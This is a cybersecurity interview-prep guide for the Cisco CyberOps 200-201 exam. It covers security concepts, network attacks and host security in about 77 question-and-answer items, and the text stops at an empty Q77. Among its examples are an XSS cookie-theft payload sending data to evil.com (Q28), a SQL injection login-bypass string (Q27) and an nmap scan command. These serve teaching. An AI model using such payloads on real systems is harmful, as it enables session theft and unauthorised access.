

CISCO

CYBEROPS ASSOCIATE

200-201 CBROPS

300 Interview Questions & Answers

with Real-World Examples



Prepared by

Akhilesh Chaudhari

@akhilesh.webdev | akhileshchaudhari.com

Senior IT Engineer | WordPress Developer | Content Creator

Umbergaon, Gujarat, India — 2024

Table of Contents

1. Security Concepts	Q1 – Q42 (42 Questions)
2. Network Security	Q43 – Q75 (33 Questions)
3. Host-Based Security	Q76 – Q96 (21 Questions)
4. Security Monitoring & SOC	Q97 – Q116 (20 Questions)
5. Cryptography	Q117 – Q126 (10 Questions)
6. Incident Response & Forensics	Q127 – Q137 (11 Questions)
7. Compliance & Regulations	Q138 – Q147 (10 Questions)
8. Cloud & Modern Security	Q148 – Q171 (24 Questions)

Total Questions: 171

Exam Code: 200-201 CBROPS

Exam Name: Cisco CyberOps
Associate

Section: Security Concepts | Questions 1–42

Q1. What is the CIA Triad in cybersecurity?

A: The CIA Triad stands for Confidentiality, Integrity, and Availability. These are the three core pillars of information security.

- Confidentiality ensures only authorised people can access data.
- Integrity ensures data is not tampered with.
- Availability ensures systems and data are accessible when needed.

Example: *A hospital's patient records system must keep records private (Confidentiality), ensure doctors see accurate data (Integrity), and stay online 24/7 (Availability).*

Q2. What is the difference between a threat, vulnerability, and risk?

A:

- Threat: Any potential danger that could exploit a vulnerability (e.g., a hacker, malware, natural disaster).
- Vulnerability: A weakness in a system that can be exploited (e.g., unpatched software, weak password).
- Risk: The likelihood that a threat will exploit a vulnerability and the impact it causes. Risk = Threat × Vulnerability × Impact.

Example: *An unpatched Windows server (vulnerability) is targeted by ransomware (threat). The risk is high if this server stores critical business data.*

Q3. What is Defence in Depth?

A: Defence in Depth is a layered security strategy where multiple security controls are placed throughout an IT system. If one layer fails, the next layer still protects the system. It uses physical, technical, and administrative controls together.

Example: *A company uses a firewall (perimeter layer), antivirus (endpoint layer), encryption (data layer), and MFA (access layer). Even if the firewall is bypassed, other layers still protect the network.*

Q4. What is the principle of least privilege?

A: The principle of least privilege means giving users, programs, or systems only the minimum level of access they need to perform their job — nothing more. This limits the damage that can occur from accidents, errors, or malicious actions.

Example: *A customer support executive only needs access to the CRM system, not the financial database. Giving them only CRM access follows least privilege.*

Q5. What is the difference between authentication and authorisation?

A:

- Authentication: Verifying the identity of a user — proving you are who you say you are (e.g., username + password, fingerprint).
- Authorisation: Determining what an authenticated user is allowed to do — what resources they can access.

Example: *You log into a banking app with your PIN (authentication). The app then lets you view your account but blocks you from viewing another person's account (authorisation).*

Q6. What is multi-factor authentication (MFA)?

A: MFA is a security process that requires users to verify their identity using two or more of the following factors:

- Something you know (password, PIN)
- Something you have (OTP token, smart card)
- Something you are (fingerprint, face scan)

Using multiple factors makes it much harder for attackers to gain access even if one factor is compromised.

Example: *You log into Gmail with your password (something you know) and then enter a 6-digit OTP sent to your phone (something you have). This is MFA in action.*

Q7. What is a zero-day vulnerability?

A: A zero-day vulnerability is a software flaw that is unknown to the software vendor and therefore has no patch available. Attackers who discover it can exploit it immediately — giving defenders zero days to prepare.

Example: *In 2021, the Log4Shell vulnerability (CVE-2021-44228) in the Apache Log4j library was a zero-day. Attackers exploited it globally before a patch was released.*

Q8. What is social engineering?

A: Social engineering is a technique where attackers manipulate people psychologically to reveal confidential information or perform actions that compromise security. It exploits human trust rather than technical vulnerabilities.

Example: *An attacker calls an employee pretending to be from IT support and asks for their password to 'fix an issue'. The employee, believing it's legitimate, gives the password. This is a social engineering attack.*

Q9. What is phishing, and how does it differ from spear phishing?

A:

- Phishing: Mass-sent fraudulent emails that trick recipients into clicking malicious links or giving up credentials. It is non-targeted and sent to thousands of users.
- Spear Phishing: Highly targeted phishing aimed at a specific person or organisation, using personalised details to appear more convincing.

Example: *Phishing: An email claiming 'Your Amazon account is suspended, click here.' Spear Phishing: An email to a bank's CFO from a spoofed CEO email saying 'Urgently transfer Rs 50 lakhs to this account.'*

Q10 What is the difference between symmetric and asymmetric encryption?

.

A:

- Symmetric Encryption: Uses the same key for both encryption and decryption. It is fast but requires secure key sharing (e.g., AES).
- Asymmetric Encryption: Uses a pair of keys — a public key (shared openly) and a private key (kept secret). Slower but more secure for key exchange (e.g., RSA).

Example: *When you visit a website over HTTPS, asymmetric encryption (RSA) is used to securely exchange a session key, then symmetric encryption (AES) is used for the actual data transfer for speed.*

Q11 What is a digital signature?

.

A: A digital signature is a cryptographic technique used to verify the authenticity and integrity of a digital message or document. It uses the sender's private key to sign data, and the recipient uses the sender's public key to verify it. It provides non-repudiation.

Example: When a software vendor releases an update, they digitally sign it with their private key. Your OS verifies the signature with the vendor's public key before installing — ensuring the software wasn't tampered with.

Q12 What is a hash function and why is it used in security?

.

A: A hash function takes input data of any size and produces a fixed-size output (hash or digest). Key properties: it is one-way (cannot reverse the hash to get original data) and any tiny change in input produces a completely different hash. Used to verify data integrity.

Example: When you download a file from the internet, the website shows a SHA-256 hash. You run the same hash on your downloaded file. If both match, the file was not corrupted or tampered with during download.

Q13 What is a PKI (Public Key Infrastructure)?

.

A: PKI is a framework of policies, software, hardware, and procedures used to create, manage, distribute, store, and revoke digital certificates. It enables secure communication by binding public keys to verified identities using Certificate Authorities (CAs).

Example: When you visit <https://www.google.com>, your browser checks Google's SSL certificate issued by a trusted CA (like DigiCert). This PKI system confirms you are really connecting to Google and not an imposter.

Q14 What is non-repudiation in cybersecurity?

.

A: Non-repudiation is the assurance that someone cannot deny having performed an action or sent a message. It is achieved using digital signatures and audit logs, ensuring accountability.

Example: When you digitally sign a business contract, you cannot later claim you did not sign it. The digital signature with your private key proves it was you.

Q15 What is the difference between IDS and IPS?

.

- A:**
- IDS (Intrusion Detection System): Monitors network traffic and alerts administrators when suspicious activity is detected. It detects but does NOT block.
 - IPS (Intrusion Prevention System): Monitors traffic and automatically blocks or drops malicious traffic in real time. It both detects and prevents.

Example: *An IDS acts like a CCTV camera — it records suspicious activity and raises an alarm. An IPS acts like a security guard — it sees the threat and physically stops it immediately.*

Q16 What is a firewall and what are its types?

.

- A:** A firewall is a security device (hardware or software) that monitors and filters incoming and outgoing network traffic based on predefined rules. Types:
- Packet Filtering: Checks IP/port headers only.
 - Stateful: Tracks connection states.
 - Application Layer (WAF): Inspects application-level traffic.
 - Next-Gen Firewall (NGFW): Combines all above with deep packet inspection and threat intelligence.

Example: *A company uses an NGFW (like Cisco Firepower) to block all traffic from known malicious IPs, allow only port 443 from outside, and inspect payloads for SQL injection in web traffic.*

Q17 What is a DMZ (Demilitarised Zone) in networking?

.

- A:** A DMZ is a network segment that sits between the internal trusted network and the untrusted external internet. It hosts publicly accessible services (web servers, mail servers) while keeping the internal network protected.

Example: *A company places its web server in the DMZ. External users can access the website, but even if the web server is compromised, the attacker cannot directly reach the internal HR or finance database servers.*

Q18 What is a VPN and how does it work?

.

- A:** A VPN (Virtual Private Network) creates an encrypted tunnel between a user's device and a VPN server, masking the user's IP and securing data in transit. It uses protocols like IPSec, SSL/TLS, or OpenVPN.

Example: *An employee working from home uses a corporate VPN to connect to the office network. All their traffic is encrypted and appears to come from the office IP, keeping internal resources secure.*

Q19 What is AAA in network security?

.

A: AAA stands for:

- Authentication: Verifying who you are (username/password, certificate).
- Authorisation: Deciding what you are allowed to do.
- Accounting: Logging and tracking what you did (audit trail).

Commonly implemented with protocols like RADIUS or TACACS+.

Example: *When a network engineer logs into a Cisco router via TACACS+, the TACACS+ server authenticates their credentials, authorises them to run only show commands, and logs every command they typed.*

Q20 What is the purpose of a SIEM system?

.

A: SIEM (Security Information and Event Management) collects and aggregates log data from various sources across an organisation (firewalls, servers, apps), analyses it in real time for anomalies and threats, and provides alerts, dashboards, and forensic reporting.

Example: *A SOC analyst uses Splunk (a SIEM) to correlate firewall logs showing repeated failed logins with endpoint logs showing a new process running — detecting a brute-force attack followed by malware execution.*

Q21 What is threat intelligence?

.

A: Threat intelligence is evidence-based knowledge about current or emerging cyber threats — including attacker tactics, techniques, procedures (TTPs), indicators of compromise (IoCs), and threat actors. It helps organisations proactively defend against known threats.

Example: *Cisco Talos publishes daily threat intelligence reports listing new malware hashes, malicious IPs, and phishing domains. A SOC team feeds this into their SIEM to automatically block those IoCs.*

Q22 What are Indicators of Compromise (IoCs)?

.

A: IoCs are forensic artefacts or evidence that suggest a system has been compromised or attacked. Common IoCs include:

- Unusual outbound network connections
- Known malicious IP addresses or domains
- Suspicious file hashes
- Registry changes
- Unexpected user account creation

Example: *During incident investigation, a SOC analyst finds that a server is making regular DNS requests to a domain associated with a known C2 (command and control) server — this DNS query is an IoC pointing to malware infection.*

Q23 What is the difference between white hat, black hat, and grey hat hackers?

.

A:

- White Hat: Ethical hackers who have permission to test and find vulnerabilities to help organisations improve security.
- Black Hat: Malicious hackers who exploit systems illegally for personal gain, causing damage.
- Grey Hat: Hackers who may break laws but without malicious intent — they may expose vulnerabilities without permission but not cause harm.

Example: *A company hires a white hat hacker (penetration tester) to find vulnerabilities before attackers do. A black hat hacker breaks into the same company and sells stolen data on the dark web.*

Q24 What is a man-in-the-middle (MitM) attack?

.

A: In a MitM attack, the attacker secretly intercepts and possibly alters communication between two parties who believe they are communicating directly with each other. The attacker can eavesdrop, steal data, or inject malicious content.

Example: *On a public café Wi-Fi, an attacker sets up a rogue hotspot with the same name. When you connect and visit your bank's website (HTTP), the attacker intercepts your login credentials. HTTPS with certificate validation prevents this.*

Q25 What is a DoS vs DDoS attack?

.

- A:**
- DoS (Denial of Service): A single machine floods a target server with traffic or requests to exhaust its resources and make it unavailable.
 - DDoS (Distributed DoS): Multiple compromised machines (botnet) simultaneously flood a target, making it much harder to mitigate due to distributed source IPs.

Example: *In 2016, the Mirai botnet hijacked thousands of IoT devices (cameras, routers) and launched a massive DDoS attack on Dyn DNS, taking down major websites like Twitter, Reddit, and Netflix for hours.*

Q26 What is a botnet?

.

- A:** A botnet is a network of internet-connected devices (computers, IoT devices) infected with malware and controlled remotely by an attacker (bot herder) through a command and control (C2) server. Botnets are used for DDoS attacks, spam campaigns, and credential stuffing.

Example: *The Emotet botnet infected thousands of corporate computers worldwide. The attacker controlled them all through a C2 server, using them to send millions of phishing emails and distribute ransomware.*

Q27 What is SQL injection?

.

- A:** SQL injection is a web application attack where an attacker inserts malicious SQL code into input fields that are then executed by the backend database. It can allow an attacker to read, modify, or delete database records, or even take over the server.

Example: *A login form accepts username and password. An attacker enters username: ' OR '1'='1 and password: anything. The SQL query becomes: SELECT * FROM users WHERE username=' OR '1'='1' — which returns all users, bypassing authentication.*

Q28 What is Cross-Site Scripting (XSS)?

.

A: XSS is a web attack where an attacker injects malicious scripts (usually JavaScript) into web pages viewed by other users. The victim's browser executes the script, which can steal cookies, session tokens, or redirect users to malicious sites.

Example: An attacker posts a comment on a blog: `document.location='http://evil.com?cookie='+document.cookie`. When other users view that page, their session cookies are sent to the attacker's server.

Q29 What is ransomware and how does it work?

.

A: Ransomware is malware that encrypts the victim's files or locks their system, then demands a ransom (usually in cryptocurrency) to restore access. It typically spreads via phishing emails, malicious downloads, or exploiting vulnerabilities.

Example: WannaCry ransomware (2017) exploited the EternalBlue vulnerability in Windows SMB. It spread across networks, encrypted files, and displayed a message demanding Bitcoin payment. It affected 200,000+ computers in 150 countries including India's telecom systems.

Q30 What is a rootkit?

.

A: A rootkit is malicious software that provides attackers with persistent, privileged (root-level) access to a system while actively hiding its presence from the operating system, security tools, and users. It is extremely difficult to detect.

Example: After compromising a Linux web server, an attacker installs a rootkit that hides malicious processes from 'ps' and 'top' commands, and hides malicious files from 'ls'. The server admin sees nothing unusual while the attacker maintains persistent access.

Q31 What is a Trojan horse in cybersecurity?

.

A: A Trojan (named after the Greek myth) is malware disguised as legitimate software. Unlike a virus, it does not self-replicate. It tricks users into installing it, then performs malicious actions like opening backdoors, stealing data, or downloading other malware.

Example: *An attacker creates a fake 'Free Adobe Photoshop Crack.exe'. When a user downloads and runs it, it installs a Remote Access Trojan (RAT) that gives the attacker full control of the victim's computer.*

Q32 What is a keylogger?

.

A: A keylogger is software or hardware that records every keystroke made on a keyboard. Attackers use it to capture passwords, credit card numbers, messages, and other sensitive information typed by the user.

Example: *An attacker installs a keylogger via a phishing email attachment. As the victim types their online banking credentials, every character is silently recorded and sent to the attacker's server.*

Q33 What is the difference between malware and a virus?

.

A:

- Malware: Broad term for any malicious software — includes viruses, worms, Trojans, ransomware, spyware, adware, rootkits, etc.
- Virus: A specific type of malware that attaches itself to legitimate files and self-replicates when the infected file is executed. All viruses are malware, but not all malware are viruses.

Example: *WannaCry is malware (specifically ransomware + worm), not a traditional virus. A virus like the old ILOVEYOU email worm spreads by attaching to files and emailing itself to contacts.*

Q34 What is a worm in cybersecurity?

.

A: A worm is self-replicating malware that spreads automatically across networks without needing to attach to a file or requiring user interaction. It exploits vulnerabilities to jump from system to system.

Example: *The WannaCry worm spread automatically across hospital networks in the UK's NHS in 2017 by exploiting an unpatched SMB vulnerability (MS17-010), shutting down thousands of computers without any user clicking anything.*

Q35 What is spyware?

.

A: Spyware is malware that secretly monitors a user's activities, collects sensitive information (browsing habits, keystrokes, screenshots, login credentials), and sends it to attackers without the user's knowledge or consent.

Example: *Pegasus spyware (developed by NSO Group) was secretly installed on journalists' and politicians' smartphones. It could read messages, activate cameras and microphones, and exfiltrate data — all without any visible sign to the user.*

Q36 What is adware?

.

A: Adware is software that automatically delivers unwanted advertisements to a user, often in an intrusive manner (pop-ups, banners). While not always malicious, some adware tracks user behaviour without consent and can be a gateway to more serious malware.

Example: *You download a free game from an unofficial site. After installation, your browser is flooded with pop-up ads, your homepage changes, and your searches are redirected — all signs of adware.*

Q37 What is a security policy and why is it important?

.

A: A security policy is a formal document that defines an organisation's security rules, requirements, and standards. It covers access control, acceptable use, data classification, incident response, and employee responsibilities. It is the foundation of a security programme.

Example: *A company's security policy states: 'All employees must use a unique strong password for each system, enable MFA, and must not connect personal USB drives.' This policy guides employee behaviour and creates accountability.*

Q38 What is data classification?

.

A: Data classification is the process of organising data into categories based on its sensitivity and the impact of unauthorised access. Common levels: Public, Internal/Private, Confidential, and Top Secret/Restricted.

Example: A bank classifies customer account numbers as 'Confidential', employee names as 'Internal', and its annual report as 'Public'. Each classification triggers different access controls and handling procedures.

Q39 What is a security audit?

.

A: A security audit is a systematic evaluation of an organisation's information system to measure how well it conforms to established security criteria and policies. It reviews controls, identifies gaps, and provides recommendations.

Example: A financial company conducts an annual security audit where auditors review firewall rules, user access rights, patch levels, and security logs to verify compliance with ISO 27001 and identify any security gaps.

Q40 What is penetration testing?

.

A: Penetration testing (pen testing) is an authorised, simulated cyber attack on a system to find exploitable vulnerabilities before real attackers do. It follows the same techniques as real attackers but with written permission and defined scope.

Example: A bank hires a pen testing firm to test their mobile banking app. The testers discover that the app's session token doesn't expire, allowing them to hijack sessions. They report this to the bank before attackers can exploit it.

Q41 What is vulnerability scanning?

.

A: Vulnerability scanning is an automated process that uses tools to identify known security weaknesses, misconfigurations, and missing patches across systems, networks, and applications. It is less intrusive than pen testing and done regularly.

Example: A SOC team runs Nessus scanner across their server infrastructure every week. The scan identifies that 5 servers are missing a critical Windows patch (MS17-010) and flags them for immediate patching.

Q42 What is the difference between a false positive and false negative in security?

.

- A:**
- False Positive: Security system raises an alert for something that is actually NOT a threat. Wastes analyst time (alert fatigue).
 - False Negative: Security system misses an actual threat and raises NO alert. This is more dangerous as real attacks go undetected.

Example: *False Positive: An IDS alerts that a developer running port scans on the test network is an 'attack'. False Negative: The same IDS fails to detect a real attacker slowly exfiltrating data using low-and-slow DNS tunnelling.*

Section: Network Security | Questions 43–75

Q43 What is the OSI model and why is it important for security?

A: The OSI (Open Systems Interconnection) model is a 7-layer framework describing how data travels across a network:

1. Physical, 2. Data Link, 3. Network, 4. Transport, 5. Session, 6. Presentation, 7. Application.

Each layer has specific security threats and controls. Understanding it helps analysts identify which layer an attack targets.

Example: *A DDoS SYN flood attack targets Layer 4 (Transport — TCP). An XSS attack targets Layer 7 (Application — HTTP). ARP spoofing targets Layer 2 (Data Link). Knowing the layer helps select the right defence.*

Q44 What is ARP spoofing/poisoning?

A: ARP (Address Resolution Protocol) spoofing is an attack where the attacker sends fake ARP messages to associate their MAC address with a legitimate IP address on a LAN. This allows them to intercept, modify, or stop network traffic — a form of MitM attack.

Example: *On a company LAN, an attacker sends fake ARP replies saying 'The gateway IP 192.168.1.1 has MAC address AA:BB:CC:DD:EE:FF (the attacker's MAC)'. All employee traffic meant for the gateway is now sent to the attacker first.*

Q45 What is DNS poisoning (DNS spoofing)?

A: DNS poisoning is an attack that corrupts the DNS cache of a resolver with false records, causing users to be redirected to malicious websites even when they type the correct URL. The user's browser shows the correct URL but reaches the attacker's server.

Example: *An attacker poisons the DNS cache of an ISP's resolver so that 'www.bankofamerica.com' points to their fake phishing server IP. Users type the correct URL, get redirected to the fake site, and unknowingly enter their credentials.*

Q46 What is NAT (Network Address Translation)?

.

A: NAT is a method used by routers to translate private (internal) IP addresses to a single public IP address for communication over the internet. It conserves public IPs and provides a basic layer of security by hiding internal network structure.

Example: *All 200 employees in an office use private IPs (192.168.x.x). The company's router uses NAT to translate all their traffic to a single public IP when accessing the internet, hiding the internal network from the outside.*

Q47 What is the difference between TCP and UDP from a security perspective?

.

A:

- TCP (Transmission Control Protocol): Connection-oriented, uses three-way handshake, reliable, ordered delivery. Attackers can exploit the handshake for SYN flood attacks.
- UDP (User Datagram Protocol): Connectionless, no handshake, faster but unreliable. Used in DNS, DHCP — vulnerable to amplification DDoS attacks.

Example: *A SYN flood attack exploits TCP's three-way handshake by sending thousands of SYN packets without completing the connection, exhausting server resources. UDP amplification uses DNS servers to reflect and amplify attack traffic toward a victim.*

Q48 What is port scanning and what tools are used?

.

A: Port scanning is the process of probing a host's ports to discover which ports are open, what services are running, and what OS is used. It is used by both attackers (reconnaissance) and defenders (auditing). Common tools: Nmap, Masscan.

Example: *A pen tester runs 'nmap -sV -O 192.168.1.10' to discover that the target has port 22 (SSH), port 80 (Apache 2.4.7), and port 3306 (MySQL) open, and identifies the OS as Ubuntu 14.04 — helping plan further attacks.*

Q49 What is VLAN and how does it improve security?

.

A: A VLAN (Virtual LAN) logically segments a physical network into separate broadcast domains. Devices in different VLANs cannot communicate directly without going through a router or firewall, improving security and reducing the attack surface.

Example: *A hospital segments its network: VLAN 10 for medical devices, VLAN 20 for admin computers, VLAN 30 for guest Wi-Fi. If a guest device is infected with malware, it cannot spread to medical devices or admin systems because they are in separate VLANs.*

Q50 What is 802.1X network access control?

.

A: 802.1X is an IEEE standard for port-based network access control. It requires devices to authenticate before being granted access to the network. It uses EAP (Extensible Authentication Protocol) and typically integrates with RADIUS servers.

Example: *A company uses 802.1X on all switch ports. When a new laptop is connected, it must authenticate with valid corporate credentials against the RADIUS server. An unregistered guest laptop is automatically placed in a guest VLAN with limited internet-only access.*

Q51 What is a proxy server and how does it help security?

.

A: A proxy server sits between client devices and the internet, forwarding requests on behalf of clients. Security benefits: hides client IPs, filters malicious content, enforces browsing policies, caches content, and logs all web activity for auditing.

Example: *A company uses a web proxy (like Cisco WSA). When an employee tries to access a known phishing site, the proxy blocks the request and shows a warning page. The employee's real IP is never exposed to external websites.*

Q52 What is the difference between a hub, switch, and router from a security perspective?

.

A:

- Hub: Broadcasts all traffic to all ports — makes sniffing easy. Very insecure.
- Switch: Sends traffic only to the destination MAC address port. Reduces sniffing risk but vulnerable to MAC flooding.
- Router: Connects different networks and routes traffic based on IP. Adds security with ACLs and NAT.

Example: *In an older office using hubs, an attacker with Wireshark on one port could capture all traffic. Upgrading to switches means each device only sees its own traffic — significantly reducing passive eavesdropping risk.*

Q53 What is MAC flooding and how does it work?

.

A: MAC flooding is an attack where the attacker sends thousands of frames with fake, random source MAC addresses to a switch. The switch's MAC address table (CAM table) fills up and overflows. The switch then acts like a hub, broadcasting all frames to all ports, allowing the attacker to sniff all traffic.

Example: *An attacker uses the 'macof' tool to flood a switch with 155,000 fake MAC entries per minute. The switch's CAM table fills up, it enters 'fail-open' mode and starts broadcasting all traffic — the attacker captures sensitive data using Wireshark.*

Q54 What is DHCP starvation and rogue DHCP attacks?

.

A:

- DHCP Starvation: Attacker floods the DHCP server with requests using fake MAC addresses, exhausting all available IP addresses. Legitimate clients cannot get IPs.
- Rogue DHCP: Attacker sets up a fake DHCP server that assigns itself as the default gateway, enabling MitM attacks.

Example: *An attacker runs a rogue DHCP server in a café. When your laptop connects to the Wi-Fi, it gets an IP from the rogue server with the attacker's machine as the gateway. All your internet traffic now flows through the attacker's device.*

Q55 What is network segmentation and its security benefits?

.

A: Network segmentation is the practice of dividing a network into smaller, isolated segments (using VLANs, firewalls, or physical separation). Benefits: limits the spread of malware (lateral movement), contains breaches, reduces attack surface, and improves monitoring.

Example: *A retail company segments its POS (Point of Sale) terminals on a separate VLAN isolated from office computers and inventory systems. A malware infection on an office PC cannot reach and steal credit card data from POS terminals.*

Q56 What is an ACL (Access Control List) in networking?

.

A: An ACL is an ordered list of rules applied to a router or firewall interface that permits or denies network traffic based on criteria like source IP, destination IP, protocol, and port number. It controls traffic flow and enforces security policies.

Example: *A router ACL is configured: 'Deny TCP any 10.0.0.5 eq 22' — this blocks all SSH traffic to the server 10.0.0.5 from any source. Only the admin's IP (10.0.0.1) has an explicit permit rule, restricting SSH access to admins only.*

Q57 What is Deep Packet Inspection (DPI)?

.

A: DPI is a network filtering method that examines both the header AND the payload (data content) of network packets at a granular level. Unlike basic packet filtering (header only), DPI can identify applications, detect malware, block specific content, and enforce usage policies.

Example: *A corporate NGFW uses DPI to inspect an HTTPS tunnel. Even though the traffic is on port 443, DPI decrypts and inspects the payload and identifies it as BitTorrent file sharing — which is blocked by company policy.*

Q58 What is SSL/TLS and how does it work?

.

A: SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) are cryptographic protocols that provide secure, encrypted communication over networks. TLS uses a handshake process to negotiate encryption algorithms and exchange keys before data transfer.

Example: *When you visit <https://www.sbi.co.in>, your browser and SBI's server perform a TLS handshake. They agree on TLS 1.3, exchange certificates, and establish an AES-256 encrypted channel. Your banking data is encrypted in transit.*

Q59 What is an SSL/TLS certificate and what information does it contain?

.

A: An SSL/TLS certificate is a digital file issued by a Certificate Authority (CA) that contains: the domain name, the organisation's identity, the certificate's validity period, the public key, and the CA's digital signature. It enables HTTPS and proves website identity.

Example: *If you click the padlock on <https://www.hdfc.com>, you can see the TLS certificate showing: issued to HDFC Bank Ltd, valid until a future date, issued by DigiCert, and the public key — confirming you are at the real HDFC Bank site.*

Q60 What is network traffic baseline and why is it important?

.

A: A network traffic baseline is a snapshot of normal network behaviour — typical bandwidth usage, common protocols, regular connection patterns, and normal user activity at different times. Security teams use it to detect anomalies that may indicate an attack.

Example: *A SOC team establishes that a database server normally transfers 2 GB per day. One night, the SIEM alerts that the server sent 50 GB to an external IP — a massive anomaly compared to the baseline. This indicates possible data exfiltration.*

Q61 What is Wireshark and how is it used in security?

.

A: Wireshark is an open-source network protocol analyser (packet sniffer) that captures and inspects network packets in real time. Security professionals use it for network troubleshooting, protocol analysis, detecting suspicious traffic, and forensic investigation.

Example: *A SOC analyst uses Wireshark to capture traffic from a suspected infected machine. They filter for DNS queries and spot hundreds of requests to random subdomains of an unknown domain — a sign of DNS tunnelling used for C2 communication.*

Q62 What is NetFlow and how is it used for security monitoring?

.

A: NetFlow is a Cisco protocol that collects and exports metadata about IP traffic flows (source/destination IP, ports, bytes transferred, protocol) passing through a router or switch. Unlike packet capture, it doesn't store content — just flow statistics for traffic analysis.

Example: *A network engineer uses NetFlow data (via Cisco Stealthwatch) to spot that an internal server is communicating with an external IP in a country the company never does business with, sending 10 GB daily — a potential data exfiltration alert.*

Q63 What is DNSSEC and why is it important?

.

A: DNSSEC (DNS Security Extensions) is a set of extensions that adds cryptographic authentication to DNS responses. It uses digital signatures to verify that DNS data has not been tampered with, protecting against DNS poisoning and spoofing attacks.

Example: *Without DNSSEC, an attacker can poison the DNS cache so 'mybank.com' resolves to their malicious IP. With DNSSEC, the resolver verifies the cryptographic signature on the DNS response — rejecting any tampered records.*

Q64 What is SSH and why is it preferred over Telnet?

.

A: SSH (Secure Shell) is an encrypted protocol for remote login and command execution over a network. Telnet sends all data including passwords in cleartext. SSH encrypts everything using strong cryptography, making eavesdropping impossible.

Example: *A network admin uses Telnet to manage an old router. An attacker using Wireshark on the same segment captures the session and reads the router's password in plain text. If SSH had been used, the captured traffic would show only encrypted data.*

Q65 What is a wireless (Wi-Fi) rogue access point?

.

A: A rogue access point is an unauthorised Wi-Fi access point connected to a corporate network without the network admin's knowledge. It can be set up by an attacker or even a well-meaning employee. It bypasses network security controls and provides an entry point for attackers.

Example: *An employee brings a Wi-Fi router from home and plugs it into the office network for better coverage in their corner. This rogue AP is unencrypted and unmonitored. An attacker parks outside the office, connects to this AP, and gets inside the corporate network.*

Q66 What is WPA3 and how is it better than WPA2?

.

A: WPA3 (Wi-Fi Protected Access 3) is the latest Wi-Fi security protocol. Improvements over WPA2:

- Uses SAE (Simultaneous Authentication of Equals) instead of the PSK handshake — prevents offline dictionary attacks.
- Forward secrecy — past sessions remain secure even if the password is later compromised.
- 192-bit encryption for enterprise mode.

Example: WPA2 is vulnerable to the KRACK attack (Key Reinstallation Attack). WPA3's SAE handshake is resistant to such replay attacks. If an attacker captures WPA3 handshake data, they cannot perform offline brute-force to guess the Wi-Fi password.

Q67 What is an evil twin attack in wireless networking?

.

A: An evil twin is a rogue Wi-Fi access point that mimics a legitimate hotspot with the same SSID and sometimes the same MAC address. Victims connect to it thinking it is the real network. The attacker then performs MitM attacks on all their traffic.

Example: At an airport, an attacker creates a hotspot named 'Airport_Free_WiFi' — identical to the legitimate one. Business travellers connect to it. The attacker intercepts their email credentials and VPN login details as they work during their layover.

Q68 What is IPSec and its two main modes?

.

A: IPSec (Internet Protocol Security) is a suite of protocols that provides authentication, integrity, and encryption at the IP layer (Layer 3). Two modes:

- Transport Mode: Encrypts only the data payload, leaving the IP header intact. Used for end-to-end communication.
- Tunnel Mode: Encrypts the entire original IP packet. Used for VPN gateways.

Example: Corporate branch offices use IPSec Tunnel Mode VPNs. All traffic between the Mumbai and Delhi offices is encapsulated and encrypted in IPSec tunnels through the internet, appearing as a private secure link between the two sites.

Q69 What is network reconnaissance and its phases?

.

- A:** Network reconnaissance is the phase where attackers gather information about a target before launching an attack. Phases:
- Passive Reconnaissance: Collecting info without direct contact (Google, WHOIS, LinkedIn, Shodan).
 - Active Reconnaissance: Direct interaction with the target (port scanning, OS fingerprinting).

Example: *An attacker passively searches LinkedIn and finds the company uses Cisco ASA and Microsoft Exchange. Then actively uses Nmap to scan public IPs, finds open ports, and identifies Exchange version — all before any attack begins.*

Q70 What is a honeypot and how is it used in security?

.

- A:** A honeypot is a decoy system designed to look like a real, attractive target but is monitored and isolated. Its purpose is to attract attackers, study their techniques, gather threat intelligence, and detect attacks early.

Example: *A bank sets up a fake server labelled 'internal-payroll-server' in their network. Any access attempt to this server triggers an immediate alert — it is not a real server, so any connection is automatically suspicious and indicates an attacker is inside the network.*

Q71 What is a SPAN port (port mirroring) and its security use?

.

- A:** A SPAN (Switched Port Analyser) port, also called port mirroring, is a feature on network switches that copies traffic from one or more ports and sends it to a designated monitoring port. Security teams connect IDS sensors or packet analysers to SPAN ports for traffic inspection.

Example: *A SOC connects their Snort IDS sensor to a SPAN port on the core switch. The switch mirrors all internet-bound traffic to the Snort sensor, which inspects every packet against threat signatures — without interrupting normal traffic flow.*

Q72 What is GRE tunnelling?

.

- A:** GRE (Generic Routing Encapsulation) is a tunnelling protocol that encapsulates one network protocol inside another. It creates a virtual point-to-point link between two endpoints. On its own, GRE provides no encryption — it is often combined with IPSec for security.

Example: *A company uses GRE over IPsec for its site-to-site VPN. GRE provides the tunnel structure and supports routing protocols (OSPF) inside the tunnel, while IPsec encrypts all the GRE traffic — combining the benefits of both protocols.*

Q73 What is network packet analysis and what can it reveal?

.

A: Network packet analysis (packet capture/PCAP analysis) is the process of capturing and examining network packets to understand communication patterns. It can reveal: protocols in use, usernames/passwords (in cleartext protocols), file transfers, DNS queries, malware C2 communications, and data exfiltration.

Example: *During a forensic investigation, an analyst captures network traffic from a compromised server. Packet analysis reveals the server is making regular HTTP POST requests containing base64-encoded strings to an external IP — indicating malware exfiltrating data.*

Q74 What is lateral movement in cybersecurity?

.

A: Lateral movement refers to the techniques attackers use to progressively move through a network after initial compromise, seeking higher privileges and access to more valuable targets. It involves compromising additional machines internally using stolen credentials or exploits.

Example: *An attacker compromises a developer's laptop via phishing. They find stored credentials for a development server on the laptop. They use those to log into the dev server, find AWS API keys there, and use those keys to access the company's cloud storage.*

Q75 What is an Intrusion Detection System signature vs. anomaly-based detection?

.

A:

- Signature-based: Compares traffic against a database of known attack patterns (signatures). Fast and accurate for known threats but cannot detect new/unknown attacks.
- Anomaly-based: Establishes a baseline of normal behaviour and alerts on deviations. Can detect unknown threats but has higher false positive rates.

Example: *Signature-based: IDS alerts when it sees a packet matching the SQL injection pattern ' OR 1=1. Anomaly-based: IDS alerts when a server that normally makes 10 outbound connections per hour suddenly makes 10,000 — even if no signature matches.*

Section: Host-Based Security | Questions 76–96

Q76 What is endpoint security and what does it include?

.

A: Endpoint security is the practice of securing end-user devices (laptops, desktops, mobile phones, servers) from cyber threats. It includes: antivirus/antimalware, host-based firewalls, EDR (Endpoint Detection and Response), DLP (Data Loss Prevention), patch management, and application whitelisting.

Example: *A company deploys Cisco Secure Endpoint (formerly AMP for Endpoints) on all employee laptops. When an employee unknowingly downloads malware, the AMP agent detects the suspicious process behaviour, quarantines the file, and alerts the SOC.*

Q77 What is EDR (Endpoint Detection and Response)?

.

